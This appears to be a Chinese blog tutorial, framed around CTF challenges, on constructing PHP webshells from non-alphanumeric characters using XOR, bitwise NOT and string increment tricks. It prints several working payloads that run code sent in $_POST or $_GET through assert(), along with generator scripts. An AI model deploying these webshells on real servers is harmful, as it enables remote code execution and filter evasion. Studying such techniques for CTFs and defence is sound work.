浅析无字符数字构造webshell

前言:

之前在命令执行的时候多少学了一点,但发现如果不自己去动手实践一下会忘的很快,这次就来动手实践一番。恰好最近做了很多有关无字符数字的CTF题,恰好可以作为例子说一下。

0x00:转换思想:

如果遇到一段代码将字符和数字全部过滤,就要转变思想,既然非字母、数字的字符还存在,就通过各种变换方法构造出我们想要的字符,然后再利用PHP允许动态函数执行的特点,拼接成一个函数名,最后动态执行即可绕过。

#在php5中assert是一个函数,便可以通过上这样的方法来动态执行任意代码
$f='assert';$f(...);

所以思想也很简单了,就是将非字符数字通过处理后进行拼接。

0x01:PHP中的异或

在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,对两对二进制数据进行异或,异或完,再将结果转为ASCII,最后将ASCII转为字符串,即为最终结果。
其实也就是在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串

异或规则

0&0=0 1&1=0 0&1=1 1&0=1
两个二进制数相同时,异或为0,不同为1

下面来看一段通过异或获得的无字符数字webshell

<?php
   @$_++; // $_ = 1
   $__=("#"^"|"); // $__ = _
   $__.=("."^"~"); // _P
   $__.=("/"^"`"); // _PO
   $__.=("|"^"/"); // _POS
   $__.=("{"^"/"); // _POST 
   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

也直接合成一句话进行使用

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); 

简单分析一下这段代码:

  • $_++ :对变量名为_的变量进行自增操作,在PHP中未定义的变量默认值为Null,null==false==0,因此可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
  • .=是字符串的连接

注意因为exp中含有特殊字符,所以需要进行url编码才可以正常使用
浅析无字符数字构造webshell_第1张图片

再看一下PHITHON师傅通过异或得到webshell,也是一样的原理

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); 
#$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); 
#$__='_POST';
$___=$$__;
$_($___[_]); 
#assert($_POST[_]);

浅析无字符数字构造webshell_第2张图片
但有一个缺点就是这样构造的webshell代码过长,如果限制了长度就没有办法再进行利用。但如果题目条件限制只能使用异或这种方法来构造webshell,也是可以缩短长度的,可以让字符一起异或使用
如:

<?php
var_dump("#./|{"^"|~`//"); //_POST
var_dump("`{
     {
     {"^"?<>/"); //_GET
?>

其实原理都一样,按照顺序进行异或,从而得到相应的字符,就拿GET来说,可以组成下面的payload

$_="`{
     {
     {"^"?<>/";${$_}[_](${$_}[__]);
#$_GET[_]($_GET[__])

浅析无字符数字构造webshell_第3张图片
简单的异或脚本

<?php
for ($i=0; $i < 256; $i++) {
      
	for ($j=0; $j < 256; $j++) {
      
		if(chr($i ^ $j) == 'P'){
     
			echo(urlencode(chr($i)) . "  " . urlencode(chr($j)));
			echo "\n";
		}
	}
}
?>

0x01:PHP中的取反

求反运算符~为单目运算符,具有右结合性。其功能是对参与运算的数的各二进位按位求反。
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一

利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,如:
浅析无字符数字构造webshell_第4张图片
字来说
浅析无字符数字构造webshell_第5张图片

"和" 的第三个字节的值为 140[0x8c],取反的值为 -141
'和'{
     2}的结果是"\x8c",其取反即为字母s:

所以当题目限制不能使用字母和数字时,就可以通过结合汉字进行取反绕过,这里就记录下PHITHON 师傅的payload

<?php
$__=('>'>'<')+('>'>'<');
#$__2
$_=$__/$__;
#$_1
 
$____='';
$___="瞰";$____.=~($___{
     $_});$___="和";$____.=~($___{
     $__});$___="和";$____.=~($___{
     $__});$___="的";$____.=~($___{
     $_});$___="半";$____.=~($___{
     $_});$___="始";$____.=~($___{
     $__});
#$____=assert
 
$_____='_';$___="俯";$_____.=~($___{
     $__});$___="瞰";$_____.=~($___{
     $__});$___="次";$_____.=~($___{
     $_});$___="站";$_____.=~($___{
     $_});
#$_____=_POST
 
$_=$$_____;
#$_=$_POST
$____($_[$__]);
#assert($_POST[2])
?>

由于Payload中含有一些特殊字符,所以需要对Payload进行一次URL编码才可以正常使用
浅析无字符数字构造webshell_第6张图片
这种方法是通过和汉字结合来获取webshell,但要注意在PHP7下因为语法所以是不可以直接使用

$a = ~("瞰"{
     2});

可以使用下面的方法

$___="瞰";
$a = ~($___{
     2});

除此之外还可以使用另外一种方法进行构造,在上面已经知道了,这两个写法性质一样,得到的结果相同。

<?php
$_="和";
print(~($_{
     2}));
print(~"\x8c");
?>
#结果为
ss

所以可以直接写成~"\x8c"这种形式,能够缩减不少字符,脚本如下:

#脚本参考V0n师傅的
def get(shell):
    hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
    hexbit = hexbit.replace('0x','%')
    print(hexbit)
get('assert')
get('_POST')
#%9e%8c%8c%9a%8d%8b assert
#%a0%af%b0%ac%ab _POST

在这里插入图片描述
所以构造exp为:

<?php
$_=~"%9e%8c%8c%9a%8d%8b"; //$_=assert
$__=~"%a0%af%b0%ac%ab"; //$__=_POST

$___=$$__;//$___=$_POST
$_($___[_]);//assert($_POST[_])

浅析无字符数字构造webshell_第7张图片
因为有些payload中含有不可见字符,所以需要用url编码表示,但如果觉得自己的payload没有问题执行不出来的话就编码一下再试,有时也不需要进行编码。

0x03:php 递增/递减运算符

在这里插入图片描述
很明显了,如果能够得到"A",那么我们就能通过自增自减,得到所有的字母。

"A"++ ==> "B"
"B"++ ==> "C"

那如何拿到一个值为字符串’A’的变量,在PHP如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。可以测试一下:
在这里插入图片描述
故payload为:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

(PHP函数是大小写不敏感的,所以最终执行的是ASSERT($POST[]),无需获取小写a)
浅析无字符数字构造webshell_第8张图片
但是这段exp实在是太长了,如果限制了长度基本就没戏了。

0x04:PHP中的短标签

有的时候因为题目限制,比如过滤了空格或字母,但又要上传php文件,可以将替换为
在PHP中有两种短标签,相当于对的替换。而则是相当于
例如:

<?= 'shy'?>

在这里插入图片描述
PHP的短标签需要将php.ini中设置short_open_tag为on才能开启短标签(默认是开启的,但似乎又默认注释,所以还是等于没开启)。但实际上在PHP5.4以后,无论short_open_tag是否开启,这种写法总是适用的,这种写法则需要short_open_tag开启才行。

0x05:PHP5与PHP7

  • 在PHP5中,assert()是一个函数,可以使用$_=assert;$_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。
  • 在PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')();

总结

常见的构造方法基本就这几种了,但还有一些构造方法没有写,待做题遇到了再来补充。

你可能感兴趣的:(web,命令执行)